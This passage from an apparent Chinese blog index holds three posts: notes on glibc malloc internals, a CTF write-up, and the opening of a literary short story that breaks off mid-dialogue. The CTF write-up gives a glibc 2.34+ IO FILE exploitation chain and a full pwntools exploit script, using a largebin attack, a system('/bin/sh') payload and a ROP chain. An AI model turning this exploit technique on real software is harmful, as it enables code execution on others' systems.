获取索引tc_idx,检查其合法性,若对应链表中存在空闲块,进入循环\n        令tc_victim为Small Bin中此时的最后一个(即分支3.1中所指的bck)\nbin->bk = bck;bck->fd = bin;\n\n\n        通过该Unlink操作,并执行tcache_put将 tc_victim放入Tcache Bin中,直到Tcache Bin链表满员,或者该Small Bin为空\n 且函数不返回,继续往下进入分支3.3\n分支3.3:否则\n        将从Small Bin中获取到的victim返回给用户\n 函数结束\n\n分支4:Large Bin范围内\n        获取对应链表索引idx\n        判断Fast Bin中是否有空闲块,若有,调用malloc_consolidate将其合并且投放到Unsorted Bin\n 函数继续往下,判断分支5\n\n分支5:使用Tcache\n        如果分支3没能令函数返回,则必然会判断是否进入该分支,如果进入,则进行如下流程\n        根据nb获取对应Tcache Bin中的链表索引tc_idx,如果其在可行范围内,令tcache_nb为nb\n 函数进行往下\n\n分支6:否则分支6.1:Unsorted Bin中存在空闲块        令victim成为Unsorted Bin中最后一个空闲块,bck为倒数第二个\n        获取victim的大小size\n        通过chunk_at_offset获得在物理地址上相邻的下一个chunk的地址\n#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))\n\n\n        通过一系列安全性检查\n分支6.1.1:nb在Small Bin范围&bck为Unsorted Bin最后一个&victim的size足够被分配(有剩余的情况)\n        分割victim,将remainder作为victim分割后剩下的部分\n        令Unsorted Bin的头尾指向remainder,remainder的头尾也指向表头\n        如果remainder的剩余大小不在Small Bin的范围内,将fd_nextsize与bk_nextsize置NULL\n        set_head设置Top chunk大小\n        并将切割后的victim(非remainder部分)返回给用\n\n        将bck(倒数第二个)作为新的链表尾\n分支6.1.2:尺寸刚好(无剩余) 分支6.1.2.1:使用Tcache\n\n        如果victim是能够放入Tcache Bin中的chunk,那么就将它放入Tcache Bin中,并回到分支6\n\n        分支6.1.2.2:否则\n\n        如果已经没有可放入的内容了,将victim返回给用户\n        函数结束\n\n分支6.1.3:否则\n        判断victim符合Small Bin还是Large Bin\n        并将victim投放到相应的表头中\n\n分支6.1.4:如果有往Tcache Bin中投放过chunk或是所有Small Bin都被投放完成\n        通过索引返回一个之前投放的块\n\n分支7:如果nb属于Large Bin\n        通过循环与bk_nextsize找到稍比nb大一些的chunk\n        如果该chunk与chunk->fd的大小相同,那就让victim成为第二个chunk\n        使用unlink_chunk来将victim从链表中摘下\n        分割该chunk,将剩余部分放入Unsorted Bin中,并将其他返回给用户\n        函数结束\n\n分支8:其他\n        从下一个索引开始进入循环并不断搜索,直到找到一个合适的chunk块 或者 索引超出了最大值(如果当前索引链表为空,就会直接跳过,继续往下)\n        如果找到了这样一个块,分割它,并将甚于部分放入Unsorted Bin中,其他的返回给用户\n\n分支9:否则分支9.1:如果Top Chunk足够        分割Top chunk,将chunk返回给用户,修改Top chunk的地址和剩余大小\n分支9.2:否则        使用malloc_consolidate合并Fast Bins,并投放到Unsorted Bin中\n        使用sysmalloc通过brk或者mmap来开辟新的Heap\n参考文章:https://www.zzl14.xyz/2020/04/13/malloc%E6%B5%81%E7%A8%8B/#int-malloc\n这位师傅用2.27的源代码也进行了详尽的说明,也比较推荐参考其博客 ​\n插画ID:91612724\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"GLIBC2.34以后的IO FILE利用链","url":"/2023/02/20/glibc2-34-iofile-exploit/","content":"本文纪录一个较为好用的,适用于GLIBC2.34-2.36的 IO FILE 利用链表,因为我个人比较爱用,且具备一定的泛用性,而且个人认为要比其他的好理解,因此记录一下。\n触发利用的部分参考:https://tttang.com/archive/1845/,本文直接套用了 payload。\n首先最好能够覆盖 IO_all_list 的值为 payload:\npayload = flat( { 0x8:1, 0x10:0, 0x38:address_for_rdi, 0x28:address_for_call, 0x18:1, 0x20:0, 0x40:1, 0xe0:heap_base + 0x250, 0xd8:libc_base + get_IO_str_jumps() - 0x300 + 0x20, 0x288:libc_base+libc.sym["system"], 0x288+0x10:libc_base+next(libc.search(b"/bin/sh\\x00")), 0x288+0x18:1 }, filler = '\\x00')p.send(payload)\n\n计算覆盖不到 IO_all_list,覆盖 stderr、stdout也都可以,只要能覆盖一次就算成功。\n上述的payload可以用于触发任意命令执行,但是有的时候会遇到 seccomp 的问题,此时结合本方法需要达成 ROP,但仍然很便捷,触发 IO 到执行 ROP 中间没有太多其他东西,基本上一气呵成。\n借用的 gadget 如下:\npwndbg> disassemble svcudp_reply 0x00007f2195256f0a <+26>:mov rbp,QWORD PTR [rdi+0x48] 0x00007f2195256f0e <+30>:mov rax,QWORD PTR [rbp+0x18] 0x00007f2195256f12 <+34>:lea r13,[rbp+0x10] 0x00007f2195256f16 <+38>:mov DWORD PTR [rbp+0x10],0x0 0x00007f2195256f1d <+45>:mov rdi,r13 0x00007f2195256f20 <+48>:call QWORD PTR [rax+0x28]\n\n由于这个方法触发的 IO 能够控制 rdi ,因此通过这个 gadget 可以控制 rbp 和 rax,在 rdi 中准确布置好结构后,令最后的 call 调用 leave;ret 的 gadget 即可完成栈迁移,一步到位,相当好用。\n我在 HGAME2023 WEEK4 的 without_hook 中使用了这个方法:\nfrom pwn import *context.log_level="debug"context(arch = "amd64")#p=process("./vuln")p=remote("week-4.hgame.lwsec.cn",30858)elf=ELF("./vuln")libc=elf.libcdef add(index,size):p.recvuntil(">")p.sendline("1")p.recvuntil("Index: ")p.sendline(str(index))p.recvuntil("Size: ")p.sendline(str(size))def delete(index):p.recvuntil(">")p.sendline("2")p.recvuntil("Index: ")p.sendline(str(index))def edit(index,context):p.recvuntil(">")p.sendline("3")p.recvuntil("Index: ")p.sendline(str(index))p.recvuntil("Content: ")p.send(context)def show(index):p.recvuntil(">")p.sendline("4")p.recvuntil("Index: ")p.sendline(str(index))add(0,0x518)#0add(1,0x798)#1add(2,0x508)#2add(3,0x798)#3delete(0)show(0)libc_base=u64(p.recvuntil(b"\\x7f").ljust(8,b'\\x00'))-(0x7f6689476cc0-0x7f6689280000)print("leak_addr: "+hex(libc_base))add(4,0x528)edit(0,"a"*16)show(0)p.recv(16)heap=u64(p.recv(6).ljust(8,b'\\x00'))heap_base=heap-(0x55e99882e290-0x55e99882e000)print("heap_addr: "+hex(heap_base))recover=libc_base+(0x7f7d45c370f0-0x7f7d45a40000)edit(0,p64(recover)*2)delete(2)target_addr = libc_base+libc.sym["_IO_list_all"]-0x20print(hex(target_addr))target_heap=libc_base+(0x563df74c9140-0x563df74c7000)-(0x56193a0a4d40-0x56193a0a2140)level_ret=0x000000000005591c+libc_baseedit(0,p64(libc_base+0x7f4c865a90f0-0x7f4c863b2000) * 2 + p64(heap_base+0x000055a6af7b3290-0x55a6af7b3000) + p64(target_addr))#largebin attackadd(5,0x528)#5gadget3=libc_base+(0x00007f2195256f0a-0x7f21950f4000)level_ret=0x000000000050757+libc_basepop_rdi_gad=0x0000000000023eb5+libc_basepop_rdi=0x0000000000023ba5+libc_basepop_rsi=0x00000000000251fe+libc_basepop_rdx_rbx=0x000000000008bbb9+libc_basepop_rax=0x000000000003f923+libc_basesyscall_addr=0x00000000000227b2+libc_basedef get_IO_str_jumps(): IO_file_jumps_addr = libc.sym['_IO_file_jumps'] IO_str_underflow_addr = libc.sym['_IO_str_underflow'] for ref in libc.search(p64(IO_str_underflow_addr-libc.address)): possible_IO_str_jumps_addr = ref - 0x20 if possible_IO_str_jumps_addr > IO_file_jumps_addr: return possible_IO_str_jumps_addraddress_for_rdi=libc_baseaddress_for_call=libc_basepayload = flat( { 0x8:1, 0x10:0, 0x38:heap_base+0xf50+0xe8, 0x28:gadget3, 0x18:1, 0x20:0, 0x40:1, 0xd0:heap_base + 0xf50, 0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20, }, filler = '\\x00')payload+=p64(level_ret)+p64(0)+p64(heap_base+0xf50+0xe8-0x28)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+(b"flag\\x00\\x00\\x00\\x00")+p64(heap_base+0xf50+0xe8+72)payload+=p64(pop_rdi_gad)+p64(0)+p64(heap_base+0xf50+0xe8-0x28)payload+=p64(pop_rdi)+p64(heap_base+0xf50+0xe8+64)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(libc_base+libc.sym['open'])payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['read'])payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['write'])print("targe_heap: "+hex(heap_base+0x5619dd9ecf60-0x5619dd9ec000))edit(2,payload)#2p.recvuntil(">")p.sendline("5")p.interactive()\n\n除了用于触发 IO 的一个模板,下面的内容其实主要是在构造 ROP,如您所见,这能方便我很多工作。因为很多时候用于触发 IO 是通过 largebin attack 完成的,在这种情况下,这个方法能够适用。\n","categories":["CTF题记","Note"],"tags":["glibc"]},{"title":"灰与鹿糜","url":"/2021/02/07/greymoose/","content":" 路边破碎的玻璃瓶里积满了昨天下过的雨,折射出上个世纪以来不曾改变的炫目的光。在梦境边际急转回旋的羽翼开始焦黑,可即便坠入深海,却在刻薄的海水包围下被焚烧殆尽。一切都不过如盛夏的烟花般绚烂而短暂,晦涩的字句会被吞进幽深大海,如灰烬一般悄然盛开。\n 上个世纪的惨剧酿成了现在这副绝景——满城的寂静与颓然。就连空气都如猛毒般剧烈,呼吸也沦为苦难。即使灾难与厄难都已经远去,这里仍被所有人抗拒。异变的巨鼠分明早已灭绝,疯长的藤蔓也已被拔除,可即便满城堆积的繁茂且多余的饰品已被清除干净,卸下了那副臃肿丑陋的样貌,异物还是异物。\n 土墙上透风的孔正如这个萎焉的国家,再无余力重建灯火与宫阙。这里早已是我们的乐园,是不受拘束的乐土,更是没有催债人嘶吼与殴打的伊甸。全国各地的流浪者都涌向这里,让卑劣与低贱在这里流行起来。\n 靠吞服安眠药睡去的日子也慢慢远去了,它们渐渐不再起效。我每日每夜都在期待再也不会醒来的日子到来,但这十年来一次也没有发生。背包里装着一叠又一叠的相片,是这数十年来徒步旅行中的各类见闻,可直到它们全都泛黄了,我也没能拍下任何一张能令自己满意的风景。我几欲烧掉这些不能为我换来哪怕半块面包的东西,但又觉得毫无意义,终究还是最为窝囊的维持着现状。\n 我又拥有什么呢?我又能拥有什么呢?我所接触的任何事物都不可阻挡地腐朽着,就连我自己的本性、人格,甚至那早已残破不堪的淡薄的灰白色灵魂,都在以我无法遏止的速度走向崩坏。分明我们所有人都在坠落的旅途中,可只有我在被锐利的狂风割裂着。\n 而对自己的诘问根本不受控制,一遍又一遍地在脑海里重复着相同的话语。我见过人群的愤怒呐喊、见过鲸鱼的兀自沉沦,也目睹过伏尸百万的战场和饿死深巷的乞丐;见过蝶海中起舞的少女,也看到过地震中钢筋崩断的瞬间,亦拍摄过一跃而下的绝望;就连蒸发着的皮肉、极速干瘪着的眼球和那粉碎的白骨被吸入鼻腔的景象,我都曾为其制作过影集。可我还是不能够理解这世上任何一个哪怕最为浅显的道理,只是机械般进行着这索然无味的活动,颠沛流离于世界的每一处角落,却完全不明白自己究竟在做什么。我像是杜绝了提心吊胆的心情,却也丧失了活着的实感。于是我便不再感叹世事艰难,也不再关心人情冷暖,只是无所事事地活着,等待着与亘古久远的同族一如既往地死去。\n 而这种诘问一直持续了五年。当我渐渐习惯了它们的时候,已然变得麻木而不伦不类。我试着躺在潮湿的沥青公路上狂笑,却又不知该如何是好;也试过在狂风呼啸的楼顶放声而哭,但又不记得该如何催促。变成了这样一个笨拙、僵硬的自己之后,不用再挣扎了,于是拿着相机在城市里四处游荡,渐渐成了这个社会的幽灵,存在而多余。\n 仿佛时间飞逝,已过去上百年岁月,我显得苍老而干瘪,拄着本不该拄着的拐杖,漫步在萧索的街道上。满头的白发全然不像是二十九岁的人,歪歪扭扭的姿态显得有些恶心。\n “无论如何,人的生存总是一个堕落的过程。”\n 尽管我甚至想不起自己的名字,却唯独忘不掉过去格蕾对我说的那些荒谬而最终却又一一应验的预言。\n 那时的我还不像现在这样落魄,有着对这个世界近乎病态的痴狂。终日沉浸在知识的美酒中甚至忘却了生命与灵魂,将“解析这个世界”视为使命,也因此发表过数篇论文,它们都为我赚取了或多或少的名声与利益。当我毕业之后留在了学院的研究所里工作,这里安置了另一个我曾梦寐以求的所有设备。而那个自己是何等的狂妄自大,竟试图在各式各样的领域全都深挖一遍。恐怕在任何人眼里,当时的我都是疯狂且傲慢的家伙吧。\n 但起初我并非如此,这一切都不过只是虚伪的热诚罢了。我必须有着对任何知识都能过求知若渴的疯狂性格,才能过掩饰根植在脊梁里的顽劣的怠惰之疾,才能过平安地完成为生存而必要的学业。否则,我此刻或许也是坐在因昨夜暴雨而泥泞的路边的一员。但当我结束了那些,以为自己已然能过克服骨子里的懒惰,它们于我而言已不再构成任何威胁时,我发现自己竟好似废人般踌躇着,瘦弱且好吃懒做、愚笨而盲目与傲慢。我竟在继续着碌碌无为的呼吸与失去理智的阅读。从早晨醒来开始假装阅读,不在乎地快速晃过一页又一页,然后只是记住了几个别致的用词,沾沾自喜着开始乏味的午餐与慵懒的午觉,还自觉满足地以为有所收获;醒来之后再骑行数十公里到往偏僻荒凉的村落,然后在黄昏将至的残阳下拍摄离群孤雁的落魄、古老荒村的衰败,拍摄角度歪斜、构图混乱的一切无意义场景——荒井、积水、杂草密布的废田、窸窸窣窣的人影与松散的炊烟。我以为自己做得很好,可我可曾为学习艺术下过哪怕片刻心思呢?我以为我是在为美景而陶醉,也以为我并未辜负这份光景,我以为……\n 当我霎时醒悟,我几乎对自己拥有的一切都发了疯。无止境的破坏欲让我变得勤劳,我必须终日与蠢笨的自己对抗,一遍又一遍地残忍杀害每一个自己。但一切都在走向衰败,没有任何事情有所好转。我那生长在骨骼里的怠惰甚至变得更加繁茂,几度就要盛放出世间不可能存在的美艳而诱惑的花。我这不过如此的抗争竟沦为了它们的肥料,以至于我变得更加不省人事,怠惰到几乎昏厥,几乎停止睁眼;而我那微不足道的反抗却又几度令我窒息,几乎就要夺走我的性命。于是我迫不得已地恢复了这份虚假的、勉强的勤劳,膨胀的欲望最后盖过了理智,让我有了剖析整个世界的傲慢与疯狂到不可遏制的偏执。\n 我曾在尚且记得她的时候寻找过她的踪迹,也为此问过许多可能认识,至少有听说过她的人。但大家的回答要么就是“我没听说过这个人”,要么就是“我也不知道她去哪了。”总之,谁也没有给出让我满意的答案,连一丝线索都没有。然后我便很快将她的事情忘记,到如今已经只记得她的名字和那些已经应验的预言了。但我所记得的预言全都是在它们发生之后才想起的,而那些确凿的证据摆到我的面前之后,我才回忆起曾有个人告诉过我这件事,因此我很难确定自己是否忘记过一些其他的过往的破片,但哪怕只有这些,也让我对她的印象布满了阴霾。\n 她是个理智、浪漫、美丽端庄的女士,但也让我觉得有些瘆人。尽管她有着银白色的长发与睫毛、秀丽的面容与柔和的语气以及远超于我的认识与见解,即便我们无论如何相比都相差甚远,但与她相处就好像在同自己所有的恶对抗。她会把我身上一切见不得人的丑恶全都披露,以断罪者的姿态令我蒙羞,使我那虚伪的挣扎在她面前如若纸糊,颅内那些阴暗丑陋的思想被放大到令自己恐惧,让我必须接受她所有的残忍描述才得以继续存活,她就是这样的一个人。由于她当时给予了我过于庞大的恐怖,在与她相处的一个月里我仿佛忍受了这段短暂人生所有的苦痛,我每个夜里都会因恐惧而蜷缩角落里不停地警戒着,直到自己实在累得不行,必须近似昏厥地睡去才能迎来第二天的正午。安眠药起初是起作用的,但它们只持续了一周时间,我很快变得会在服用安眠药之后更加亢奋,我也知道这很不合理,可事实上我那时候真的以为自己除了寻死再没有别的方法解脱了。庆幸的是,与她共事的时日只持续了一个月,尽管这一个对我来说实在太过漫长。身心俱疲的我在她失踪之后被迫寻求了心理医生的帮助,才把这些痛苦全都沉没到再无法打捞的深海,终于能够拥有哪怕只有一次的安稳睡眠。\n 这一切都不过是由我对她的印象以及一些记忆断片和梦中所见拼贴而成的有关她的过去,也说明了我对她的恐惧有多么深刻。在我勉强返回到日常生活之后,即便已经忘记了大多数过去,但曾经发生的这一切也无疑让我发生了巨大的变化。我变得开始恐惧社交,不愿意出入公共场所,也抗拒大声喧哗,终日过着乏力疲惫的生活。但这并不是她给我留下的阴影,而是另外一个自我。她拽出了我身上所有的恶意——就有那种不论施暴还是屠戮都能够习以为常并为之沉醉的恶意,就好像脑子里开了家疯人院,偏偏它的大门永远敞开一样,那群疯子不知疲倦地向外挤兑着。可它们就像是我的利刃,能让我在面对恐惧时发疯、不自主地反抗,但我现在必须把他们全都忘掉,否则我将无法生存,这就是一个病态的人在面临毁灭时必要的措施——必须要把自己的病情完全遏制甚至拔除。\n 于是屋子就变成了笼子,笼子里就多了一只被磨去利爪、拔去羽翼的鹰。这只鹰既不会扑腾也不会鸣叫,他失去了野性,不能够作恶,也容易受伤,必须谨慎地活下去,而且念头与思想都极其狭隘,预测不到万事,也预料不到难事,更无法抓住幸事,被迫苟且着,尚且还在呼吸。\n 但就在一个寒冬里,那年很早就开始下雪的寒冬,我遇上了许多事。起初,我只是像往常一样走在去往实验室的公路上,路过那个我每天都会路过的公园。我以为那些流浪汉们也会像往常一样早早地消失不见,然后在明年入春的时候再上街乞讨,但现在他们正缩在凉亭的椅子底下被一群年轻的、穿着邋遢且留着许久不清洁的胡子的醉鬼们围住,并不断地被这群酒鬼侮辱,用鞋子踹他们的腹部。他们不停地在喊“好痛啊……好痛啊……别踢了……别踢了……放过我吧,求你行行好吧……”之类的话语。这群流浪汉已经在这里待过有一段时日了,他们大多五六十岁的样子,蜡黄的皮肤因为污垢与泥水被染得黝黑,身上散发着难以描述的混合的恶臭,有的脸上还长着脓疮,显得相当丑陋恶心。或许是今年冬天来得太早,以至他们还没来得及逃走,便被这些从早醉到晚的家伙逮住了,遭到了一阵的暴行。虽然很快就有警察过来阻止,并把他们全都带走了,但这件事让我开始显得有些烦躁。我还记得,当时的我什么也没有做,什么也都没有想,就站在外面从开始一直看到结尾,不记忆更不记录,不体会也不愤懑,我甚至不能被称之为见证者或旁观者,就连一个路人或许都算不上,那我又是什么呢?我只是恰好站在外面,并把头扭向了那个方向,我什么都没注意到,也什么都没发现,一直到刺耳的警笛声撞向我,我又转回去继续迈开步伐行走,直到撞上了前面的电杆,然后被撞得晕头转向最后迷路在居所附近。不过一粒尘埃,却是被锁在狱里的尘埃,只是这里太过宽敞,一座城市规模的笼子实在太过庞大了。就连谁洗劫去了我的信念与理智都不知道,却无可匹敌地让我顺从地喘息……\n 因为在居所附近迷路了,我愈发急切地想要赶回研究所。这是我人生中第一次迷路,还是迷失在自己从诞生以来从未离开过的城市。周围的一切都让我觉得烦闷,冬日里锋锐的寒风与冰冷的太阳、那些千篇一律的匆忙与形形色色的莽撞、呼出热闹的白雾的鼻息与叹惋、相互挤兑的热情如烙铁的路人,我像是大病初愈一样开始虚脱,面色惨白的在路上四处晃荡。从没去过的百货大楼在张牙舞爪着,附近的摩天大楼更是濒临倒塌,一切都呈现出歪曲混乱的景象。摩天轮开始发了疯地旋转,从中心开始向四周折叠着旋转;人群开始相互融合,肉块与各种各样的服饰被像面团一样揉到一起,是高高地抛上了天的奇美拉;道路要比最崎岖的山路还要歪曲,可我只是被那些壮硕的人们挤兑得双脚悬空,随着人潮流向远方;他们甚至招摇起双臂,太阳也变得和我的脸色一样惨白,鱼群开始在陆地上行走,长着一双健壮的手臂,头朝向地像是在奔跑;长着猴子嘴脸的驯鹿在我身边打转,它们围城一个圆圈开始在我身边起舞。大脑仿佛被泡进盛满冰块的鱼缸,蒸腾的水汽与未融化的透明冰块令人眩晕,可又像是浸泡于岩浆里那般灼热,剧痛与漩涡此刻竟有了一丝美感。我所有的感官都被混淆,橘红色的光线有了酸醋的异味,五彩的街灯闪烁出蜂蜜与焦糖与烂泥和其他各种糟糕事物的杂糅而成的味道,就连耳边都响起了街头烤着煎饼的爆鸣与包子散发出的纸张撕裂的刺耳声响……这一切又叫我如何承受!而我最后被抬进了医院,是在昏迷于游乐园的长椅旁边后。\n 第一个进来的医生说我是贫血所致,适当的休息之后自然就会好转;后进来的护士说我是营养不良,应该吃些好的,还给我端来了丰盛的伙食;而隔壁的病人说我是精神病,应该滚进疯人院去,说我和那里的人简直一模一样。这里的所有人都对我有些过分亲切了。但我出院之后才知道,我隔壁的病人被送去了疯人院。住院期间,同事们曾来看望过我,他们起初都是一脸的不可思议与焦虑,但在见到我并实际与我交谈之后,他们明显都松了口气,只是当时的我还不太明白怎么回事。我们和平常一样开着玩笑,拿那些羞人的糗事相互揭短,他们很轻易地相信我什么都没变,我仍然正常。但当我出院,并明白了这一切之后,我更加对自己的状况感到焦虑了。医生后来告诉我之所以被放进精神科,是因为我在失去神志期间不断地而且是凶狠地袭击着身边的事物,我的桌边本不是那个有着花纹的玻璃花瓶,我原来的枕头、棉被也都被我撕毁,就连我没进精神科病房前的隔壁也几乎要被我啃咬殴打……只是三个月的无异常观察让他们最终相信这一切不过是受到了某些我自己也说不上的刺激导致,而我的精神在那之后已经彻底恢复了,于是他们从容地让我出了院。而只有我深陷于不可遏制的恐惧,因为我那被忘却的一切狂乱的恶意竟在我无意识时肆意宣泄。我想起了自己每个早晨醒来时房间的混乱,也想起了醉宿过后手臂与脖子上密布的通红伤痕,那些支离破碎的玻璃杯子与渗出暗红色血珠并滚烫无比的伤痕原来是我在失去理智后疯狂的劣作。\n 当过去的这些早已被我卸下的锁链又重新缠回,我无比地渴望逃离它们。我望着窗外飘起的无垠的雪,心中突然出现了一种想要奔逃的冲动,企图现在就冲出屋外,去往一个不再有任何人的天堂。\n “现在就走吧!对,现在就走!”我心里是如此的急切。\n 期待那皑皑白雪能掩盖我的足迹,让一切关联都再也无法使我烦忧,让我也不再需要日夜惊惧于遭到捕杀。\n 但在无形之中仿佛有一堵高墙将我围堵,让我哪也去不了,必须待在这个随时可能出现猎人的猎场里。而我难以忍受这种煎熬,即使没有目的地,我也迫切地想要离开这里,哪怕只是在世界各地游荡,也要比继续留在原地要好。于是我连夜订购了火车票,从A城一直坐到R城,途径了好几个城市。我想,现在我终于远离了那个折磨人的地方了。\n 我就这样戴着兜帽、背着笨重的背包在R城里晃悠,从空无一人的宁静车站逛到荒废多年的体育场,这里现在没有任何人认识我,但总归还是有人。我警惕地在街上四处乱瞟,不由得开始怀疑自己为何要如此鬼祟,毕竟我们还没有犯下任何过错,恶意只要不外泄就不会被察觉。\n R城的人几乎都撤离了,只剩下一些年事已高的老人与一些断了半条腿的瘸子,凡是热爱这片土地的年轻人,都被或蒙骗或诱惑的说辞勾走了。这里本是一片战后废墟,但不知道哪里突然挖出了油田,于是在五十年前迎来了过早的鼎盛。我只听从这里出去的人们说起过,他们个个都带着自豪的语气向我吹嘘这里的富饶。但现在已经什么都没有了。他们都说这里马上就要再次成为战场,一个个危言耸听的样子就好像真的要再次开战了。\n “现在大家都在逃跑,所以列车还通着,再过一个月,就谁都跑不掉了。”\n “您不走吗?”\n “我走什么,一天下来能走几步路?所幸也活够了,老伴都死了好几年了,儿子也不知道多少年没音信了,这活着也没什么指望,死就死吧。”\n 体育场后排的座椅上,拄着雕成马头的拐杖的老人平静而不带任何感情地这样跟我说。估摸着应该已经八九十岁了,穿着厚重的棉袄,干瘪的皮肤堆积成一层层的皱纹,那些暗斑叠了一次又一次,驼着背,双手搭在拐杖上,眯着眼睛盯着长满杂草的球场。有的人躺在椅子上睡觉,有的人就在附近闲逛,麻雀飞得到处都是,老鼠也开始横行了,陈旧的椅子上堆了鸟类的粪便,掉漆生锈的栏杆断成好几节,以各自的形态变形扭曲着,整个体育场看上去就像是荒废了数年,而大家好像早已习以为常。\n 疏于维护的场馆不过一个月就已面目全非,坍塌的坍塌、凹陷的凹陷,就连混乱都失去了价值,懒散、怠惰、过剩且拥挤。好像,就和现在的我一样。\n 或许这样才本该是我的常态,可我却因世人的迫害变成了如今这副模样。已经回不去了!我如果不能继续反抗,这无穷岁月里的压抑会如猛然决堤的洪水那般摧毁我!但这样的指责是多么的无力,我苍白的话语饱含着空洞意味不具备任何力量。我们又该如何反抗我们?那残骸堆砌的尸山究竟在预示什么?他们为何如此憎恶,为何出离愤怒?到底是谁在原谅我们此等魔鬼行径?\n 我不知道。\n 我不能作答。\n 我只能哑口无言地看着山顶滚落一具具“我们”。\n 我能觉察到,脚底下的井盖里传出着些许隐约的鬼祟;那下水沟的铁栏里似乎有无数双充斥怨恨愤懑的猩红在紧盯着我;电杆上的那群漆黑乌鸦凄厉地嘲笑声愈发猖狂,愈发放肆;脑内掀起着触目惊心的音浪与风暴,它们饱含着深情、爱慕,也潜藏着仇恨、疯狂,有我们的厉啸、狼群的嚎叫、夜鸦的狰狞、巨鲸的喘息,也有瓦砾的粉碎、钢铁的熔融、沉没的泡影、引擎的轰鸣。\n 仿佛他们现在就在我的身后,可我猛然回头,却只有苍凉萧索。好像那每一个路人都有着我们的影子,拖到街道尽头的黑泥里寄宿着那一堆堆遗骸。\n 别再跟着我了!\n 呼之欲出的话语又被咽回,怯懦让我连呐喊的勇气都丧失了……\n 现在“我们”都在盯着我,而我则颤颤巍巍地走在体育馆外里林间小道上。寒冬中和煦的阳光透过树叶间的缝隙投下一束束扑腾着细小尘埃的光带,松叶也划不破皮肤,空气也不至于让我中毒,一切都与我身后的压迫格格不入。\n 如果他们现在失去了控制,要把我抓走,那么我会被带到哪去?我要遭受什么样的惩罚才能回来?我又要回到哪去呢?\n 我开始后悔、开始恐惧了,一想到接下来要承受自己所无法承受的苦难,我就不可遏制地想要逃走。我没有任何一件是不能失去的,也没有任何一种是不能放弃的,可即便如此,我依然恐惧万分。我担心那些可失去的东西失去,也害怕自己不得不放弃那些可放弃的东西,分明我毫无眷恋的心根本不曾颤动,自己却死死地攥紧它们不愿放手。\n 即便我根本无法想象那注定要面对的灾难,可能是战火硝烟,也可能是多一具惊骇,但我还是忍不住去恐惧这份未知。我颤抖地双腿情不自禁地向前迈开,呼吸渐渐急促紊乱,眼神正在四处游离,污浊的汗珠顺着额头一直滑进瞳孔、口腔。\n 我到底在向何处奔跑?\n 我的脚边何时出现了蒲公英?这片花海又是谁栽种的?\n 满天飘零的是蒲公英的羽翼,脚边绽放着银白的蝉翼荠与昙花,远方灼烧的向日葵花田里隐约可见那几束濒临焦黑的红石蒜与罂粟。空气中席卷着烫伤咽喉的热浪,羸弱的羽奔赴往灰烬的洋流。漆黑映衬着橘红的深空涌动着狂暴的雷云,不时击落几只盘旋着的贪婪秃鹫,回荡落下惩戒的余音。\n 冰原冻土之上,这片本该凄凉颓废的荒原之上如今横行着繁荣!就连我的脊背都攀附上牵牛花藤。荆棘的尖刺渗入我的皮肉,无根藤吮吸着我的骨髓,古树开始在我的脊柱上生根,坚硬的根须如锁链般将我捆绑,粗壮的枝干似巨石般将我压垮。\n 于绚烂的花海中央诞生出繁茂的苍天古木,不知会是灰黑的枝叶还是暗红的污秽,而我已然无法得知……\n 滴…滴…滴……\n 这里的工作人员告诉我,我已经昏迷了三天了。他们说,定期巡逻的时候发现我一个人倒在雪地里,当发现我还有心跳的时候马上做了应急措施,然后把我运到了这来。\n 这里是一座研究所,同时也是遇难者的集中营。最初似乎是因为这附近没有其他合适的地方搭建信号中转站,于是只好把中转站和研究所建到一起,再后来又因为同样的理由,把集中营也并入了这里,就有了现在这个庞大得夸张的研究所。\n 与我同样的遭难者不少,他们大多都和我一样正躺在床上发着抖,并不是身体觉得冷,或许只是有些后怕吧。他们有的是旅行家,有的是来打猎的猎人,但更多的是那些被流放过来的罪犯。巡逻队的人说,下周他们会到附近的城市去采购物资,到时候可以顺带捎上我们。\n 这就意味着,我只能在这待一周了。然后我就必须回到地狱,继续遭受那些没能受尽的苦。可如今我已经拼尽全力地逃到了这里,再没有其他地方可以逃难了,再往北走,就只剩大海了……\n 但现在也没办法为那么久远的事情烦恼了,终归是得不出结论的无意义思考罢了。\n 闲来无事,我只好在这偌大的研究里所四处晃荡。可我在这里逛荡了一整天也看不见任何一位长得像是研究员的人。说到底,在北方的雪原上建研究所这件事本身就有些怪异。\n 但确实如此,中转站的维护工人还偶尔能在餐厅遇见,苦役与难民也能在走廊上碰上,只有研究员像是稀有品种一样不见踪影。我起初以为,他们大多不会离开实验室,只是我们这些游客进不去罢了。但据这里的清洁工人说,他们也很少能碰见这里的研究员。在这里工作了一年多,也只见过一位教授一次而已。\n 而我不再关心这里的异样,说到底,我不过是个将要离去的游客罢了,纵使它如何异常,一周之后也都将与我无关。但我还是止不住那狂涌的好奇,对其项目、设备以及在职者抱有浓厚的兴趣。好像旧病复发,又或是食欲被激发一样,连锁着众多症状正急促暴乱着;或是说,我的奔逃为我饰演了烟幕,这只是暂时性的失明?\n 可复发的原因本就无关紧要。如果它像风暴一样卷来,那就终有一天会消散,又必将在将来的某一天再临,而我们只不过是麦田里的稻草人罢了。而现在,稻草人只应该履行它的职责。\n 向看守简要的说明了情况,并用识别卡证明身份之后,他们尊敬地称我为教授,然后允许我与看守中的一人在研究所里逛逛。但那些实验室基本上都无法进入,我毕竟不属于这座孤岛。即便如此,种种蛛丝马迹也让这里的研究愈发神秘诱人;偏僻而荒凉的地理位置、过度紧张的管理模式、多到发指的罪犯数量、以及那些摆放在过道上的多得数不清的盆栽。\n 在研究所里摆放盆栽并不是什么稀奇的事,即便数量众多,也可能只是个人喜好罢了。但除却那实在过于庞大,甚至于让人误以为这里是植物园的数量以外,这些植株都显得有些狰狞。我不认识这些植物,自然也不可能叫出它们的名字,但任何人只要一眼就能明白,它们是不可能在同一种环境里共生的。就像戈壁里结不出西瓜,雨林中也不会有仙人掌一样,可它们现在却在一座研究所里如此繁茂!\n “你知道这些植物都是谁要求的吗?”我问走在旁边的守卫。\n 